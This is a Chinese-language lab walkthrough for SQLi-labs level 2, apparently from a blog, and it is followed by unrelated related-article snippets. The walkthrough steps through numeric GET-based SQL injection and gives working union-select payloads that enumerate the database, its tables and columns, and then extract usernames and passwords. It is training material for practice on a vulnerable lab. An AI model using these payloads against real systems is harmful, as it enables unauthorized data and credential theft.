SQLI-labs-第二关

news/2024/7/8 3:02:37 标签: 数据库, web安全, sql

目录

知识点:数字型get注入

 1、在url中输入?id=1 

 2、判断注入点

3、判断目前表的字段数

 4、判断回显位置

 5、爆库名

 6、爆表名

 7、爆字段名,以users表为例

​编辑8、爆值


知识点:数字型get注入

思路:

 1、在url中输入?id=1 

 2、判断注入点

输入?id=1'

 爆出数据库语句语法错误,说明这里存在数据库漏洞,后面加了注释符,还是爆出错误,说明不是单引号的错误,可以尝试一下是否为双引号

 单引号和双引号都会报错,那可能是数字型注入

 这里回显正常

 使用and 1=2,数据没有回显出来,说明这里存在数字型注入

3、判断目前表的字段数

?id=1 and 1=1 order by 3--+ ,没有报错

 ?id=1 and 1=1 order by 4--+   报错,说明当前表有3个字段

 4、判断回显位置

?id=1 and 1=2 union select 1,2,3 --+

 5、爆库名

?id=1 and 1=2 union select 1,2,database() --+

 6、爆表名

?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 7、爆字段名,以users表为例

?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

8、爆值

?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+

 以此类推,就可以的得到这个数据库所有的值了


这篇文章就先写到这里了,欢迎批评指正


http://www.niftyadmin.cn/n/4982138.html

相关文章

pg数据库调用存储过程时间过长异常

1、刚开始看到的问题是页面调用存储过程偶尔出一下错,花了一下午才慢慢找到根源 2、起初以为前端项目设置的20秒超时自动关闭连接导致的问题,通过排查发现不是 3、之后通过逐步排查发现是pgsql抛出的连接超时异常,存储过程执行时间超过10秒就…

2023-08-28 数据库-并发控制-初步思考

摘要: 此前做查询优化和查询执行比较多, 一般是在一个单独的事务内考虑优化查询. 最近在做并发控制方面的事情, 一些此前考虑的较少的方面需要做更为深入的思考. 并发控制和事务的特性息息相关, 直白的说就是事务的隔离性, 但是这么理解过于肤浅, 本文做一些初步的思考. 为什…

存储快速入门

基础知识 定义 历史 1.原始时代 2.电子化时代 3.电磁化时代 4.集成化时代 玩家(中国) 存储核心能力

git各类问题处理收集

一、pull Git拉取失败 Your local changes would be overwritten by merge.Commit, stash or revert them to proceed 1.通过VCS -> Git -> Stash Changes,将本地的所有改动暂存到本地仓库。 这一步执行后会隐藏本地的所有改动 2.pull 3.如果想把自己修改的部…

three.js(五):canvas 的响应式布局

1-canvas 的响应式布局 canvas 画布的尺寸有两种: 像素尺寸,即canvas画布在高度和宽度上有多少个像素,默认是300*150css 尺寸,即css 里的width和height 在web前端,dom元素的响应式布局一般是通过css 实现的。而canvas…

Python学习笔记:Requests库安装、通过url下载文件

1.下载安装requests库 在pipy或者github下载,通常是个zip,解压缩后在路径输入cmd,并运行以下代码 Python setup.py install 安装完成后,输入python再输入import requests得到可以判断时候完成安装 2.通过url下载文件 使用的是u…

linux:shell ==命令sh无效

问题: 如题 解决办法: 将更换为或者-eq

《Understanding Black-box Predictions via Influence Functions》笔记

[1] 通过升权( 2.1 \S 2.1 2.1)、扰动( 2.2 \S 2.2 2.2)两种方式研究某个 training point z ( x , y ) z(x,y) z(x,y) 对(优化后的)模型参数 θ ^ \hat\theta θ^、模型在某个 test point z test ( …